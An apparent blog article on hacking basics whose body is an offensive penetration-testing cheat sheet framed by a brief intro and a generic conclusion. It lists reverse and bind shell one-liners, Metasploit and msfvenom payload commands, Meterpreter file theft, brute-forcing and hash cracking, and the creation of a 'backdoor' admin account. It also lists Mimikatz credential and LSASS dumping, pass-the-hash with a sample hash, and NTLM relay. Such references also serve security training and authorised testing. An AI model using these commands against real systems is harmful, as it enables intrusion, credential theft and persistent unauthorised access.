Hacking and cybersecurity are complex and ever-changing fields that involve the use of various tools and techniques to gain unauthorized access to systems, networks, or data, or to protect against such access. Understanding the basics of these fields is important for anyone who wants to stay safe and secure online.
In general, hacking is the practice of using technical skills to gain unauthorized access to systems, networks or data, while cybersecurity is the practice of protecting systems, networks, and data from unauthorized access or attack.
Hackers can be classified as “white hat”, “gray hat” and “black hat” depending on their intentions and the way they use their skills. White hat hackers are those who use their skills for legitimate purposes, such as identifying and reporting vulnerabilities in systems. Black hat hackers are those who use their skills for malicious purposes, such as stealing sensitive information or causing damage to systems. Gray hat hackers fall in between, they use their skills to identify vulnerabilities in systems and might use them for personal gain or share them with the public.
NMAP HOST DISCOVERY (ARP, ICMP, SYN 443/TCP, ACK 80/TCP):
# nmap -sn -n 10.5.23.0/24
LIST NMAP SCRIPTS:
# ls /usr/share/nmap/scripts
The target can be specified using CIDR notation (10.5.23.0/24) or range definitions (10.13- 37.5.1-23).
FAST SCAN USING MASSCAN:
# masscan -p80,8000-8100 –rate 20000
10.0.0.0/8
PUBLIC INTERNET SCAN DATABASES:
shodan.io, censys.io
Shells
START BIND SHELL (ON VICTIM):
# ncat -l -p 2305 -e “/bin/bash -i”
LISTEN FOR REVERSE SHELL (ON ATTACKER):
# ncat -l -p 23
START REVERSE SHELL WITH BASH ONLY (ON VICTIM):
# bash -i &>/dev/tcp/10.5.23.5/42 0>&1
CONNECT TO BIND SHELL (ON ATTACKER):
# ncat 10.5.23.42 2305
START REVERSE SHELL (ON VICTIM):
# ncat -e “/bin/bash -i” 10.5.23.5 23
UPGRADE TO PSEUDO TERMINAL:
# python -c ‘import pty;
pty.spawn(“/bin/bash”)’
Vulnerability DBs and Exploits
EXPLOIT SEARCH (LOCAL COPY OF THE EXPLOIT-DB):
# searchsploit apache
SHOW EXPLOIT FILE PATH AND COPY IT INTO CLIPBOARD:
# searchsploit -p 40142
ONLINE VULNERABILITY AND EXPLOIT DATABASES:
cvedetails.com, exploit-db.com,
packetstormsecurity.com
Cracking
TRY SSH PASSWORDS FROM A WORDLIST:
# ncrack -p 22 –user root -P
./passwords.txt 10.5.23.0/24
CRACK HASHES (E.G. 5600 FOR NETNTLMV2 TYPE):
# hashcat -m 5600 -a 0 hash.txt
/path/to/wordlists/*
DETERMINE HASH TYPE:
# hashid 869d[…]bd88
SHOW EXAMPLE HASH TYPES FOR HASHCAT:
# hashcat –example-hashes
CRACK HASHES USING JOHN THE RIPPER:
# john hashes.txt
Metasploit Framework
START METASPLOIT:
# msfconsole
USE EXPLOIT:
msf > use exploit/windows/smb/ms17_…
CONFIGURE EXPLOIT:
msf exploit(…) > show options
msf exploit(…) > set TARGET 10.5.23.42
REVERSE SHELL LISTENER:
> use exploit/multi/handler
> set payload
linux/x64/shell_reverse_tcp
> set LHOST 10.5.23.42 # attacker
> set LPORT 443
> exploit
UPLOAD / DOWNLOAD FILES:
meterpreter > upload pwn.exe
meterpreter > download c:\keepass.kdb
BACKGROUND METERPRETER SESSION:
meterpreter > background
SOCKS VIA METERPRETER (REQUIRES AUTOROUTE):
> use auxiliary/server/socks4a
> set SRVPORT 8080
> run
CONNECT THROUGH SOCKS PROXY:
# proxychains ncat 172.23.5.42 1337
SEARCH EXPLOIT:
> search eternalblue
RUN EXPLOIT:
msf exploit(…) > exploit
GENERATE REVERSE SHELL (WAR):
# msfvenom -p
java/jsp_shell_reverse_tcp LHOST=<your
ip address> LPORT=443 -f war > sh.war
UPGRADE TO METERPRETER (OR PRESS ^Z (CTRL-Z)):
background
Background session 1? [y/N] y
> sessions # list sessions
> sessions -u 1 # Upgrade
> sessions 2 # interact with session 2
meterpreter > sysinfo # use it
PORT FORWARDING TO LOCALHOST:
meterpreter > portfwd add -l 2323 -p
3389 -r 10.5.23.23
PIVOTING THROUGH EXISTING METERPRETER SESSION:
> use post/multi/manage/autoroute
> set session 2 # meterpreter session
> run
> route
CONFIGURE PROXYCHAINS:
# vi /etc/proxychains.conf
[…]
socks4 127.0.0.1 1080
Linux Privilege Escalation
ENUMERATE LOCAL INFORMATION (-T FOR MORE TESTS):
# curl -o /tmp/linenum
https://raw.githubusercontent.com/rebo
otuser/LinEnum/master/LinEnum.sh
# bash /tmp/linenum -r /tmp/report
Other hardening checks can be done using lynis or LinPEAS.
Use sudo/SUID/capabilities/etc. exploits from gtfobins.github.io.
Windows Privilege Escalation
SCAN FOR NETWORK SHARES:
# smbmap.py –host-file smbhosts.txt –
u Administrator -p PasswordOrHash
Copy PowerUp.ps1 from GitHub “PowerShellMafia/
PowerSploit” into PowerShell to
bypass ExecutionPolicy and execute Invoke-
AllChecks. Use the abuse functions.
ADD A NEW LOCAL ADMIN:
C:\> net user backdoor P@ssw0rd23
C:\> net localgroup Administrators
backdoor /add
Windows Credentials Gathering
START MIMIKATZ AND CREATE LOG FILE:
C:\>mimikatz.exe
# privilege::debug
# log C:\tmp\mimikatz.log
SHOW PASSWORDS/HASHES OF LOGGED IN USERS:
# sekurlsa::logonpasswords
EXTRACT HASHES USING MIMIKATZ:
# lsadump::sam /system:system.hiv
/sam:sam.hiv
READ LSASS.EXE PROCESS DUMP:
# sekurlsa::minidump lsass.dmp
Dump lsass.exe in taskmgr or procdump.
BACKUP SYSTEM & SAM HIVE:
C:\>reg save HKLM\SYSTEM system.hiv
C:\>reg save HKLM\SAM sam.hiv
Pass-the-Hash
START MIMIKATZ AND CREATE LOG FILE:
C:\>mimikatz.exe
# privilege::debug
# log C:\tmp\mimikatz.log
METERPRETER VIA PASS-THE-HASH:
msf > set payload
windows/meterpreter/reverse_tcp
msf > set LHOST 10.5.23.42 # attacker
msf > set LPORT 443
msf > set RHOST 10.5.23.21 # victim
msf > set SMBPass 01[…]03:01[…]03
msf > exploit
meterpreter > shell
C:\WINDOWS\system32>
OVER A SUBNET AND EXTRACT SAM FILE:
# crackmapexec -u Administrator -H
:011AD41795657A8ED80AB3FF6F078D03
10.5.23.0/24 –sam
RDP VIA PASS-THE-HASH:
# xfreerdp /u:user /d:domain /pth:
011AD41795657A8ED80AB3FF6F078D03
/v:10.5.23.42
BROWSE SHARES VIA PASS-THE-HASH:
# ./smbclient.py
domain/usrname@10.5.23.42 -hashes
:011AD41795657A8ED80AB3FF6F078D03
NTLM Relay
VULNERABLE IF MESSAGE_SIGNING: DISABLED:
# nmap -n -Pn -p 445 –script smbsecurity-
mode 10.5.23.0/24
NTLM RELAY USING SOCKS PROXY:
# ./ntlmrelayx.py -tf targets.txt
-smb2support -socks
Configure ProxyChains:
# vi /etc/proxychains.conf
[…]
socks4 127.0.0.1 1080
DISABLE SMB AND HTTP IN RESPONDER.CONF AND START RESPONDER:
# ./Responder.py -I eth0
NTLM RELAY TO TARGET AND EXTRACT SAM FILE:
# ./ntlmrelayx.py -smb2support -t
smb://10.5.23.42
ACCESS FILES VIA SOCKS PROXY:
# proxychains smbclient -m smb3
‘\\10.5.23.42\C$’ -W pc05 -U
Administrator%invalidPwd
Active Directory
Use SharpHound to gather information and import into Bloodhound to analyze.
Download PingCastle from pingcastle.com and generate Report.
Conclusion
In conclusion, hacking and cybersecurity are complex and constantly evolving fields that can include a wide range of tools, techniques, and strategies. It is important to remember that hacking tools can be used for both legitimate and illegitimate purposes, and it’s important to use them responsibly and in compliance with the law. A good understanding of the basics of computer science, programming and networking is a starting point to learn more about the field.
A good cybersecurity practice includes keeping the operating system and software up to date, using anti-virus and firewall software, being cautious when opening email attachments or clicking on links in emails, not giving out personal information online, using strong, unique passwords for every account, and avoiding using public Wi-Fi networks. Additionally, it is important to stay informed about the latest threats, vulnerabilities and best practices.
Also, ethical hacking or “white-hat” hacking is one way to use hacking skills for good causes, like identifying vulnerabilities and protect organizations from cyber threats. Thus, it is important to understand and follow the laws, policies and guidelines regarding cyber security practices and ethical hacking.
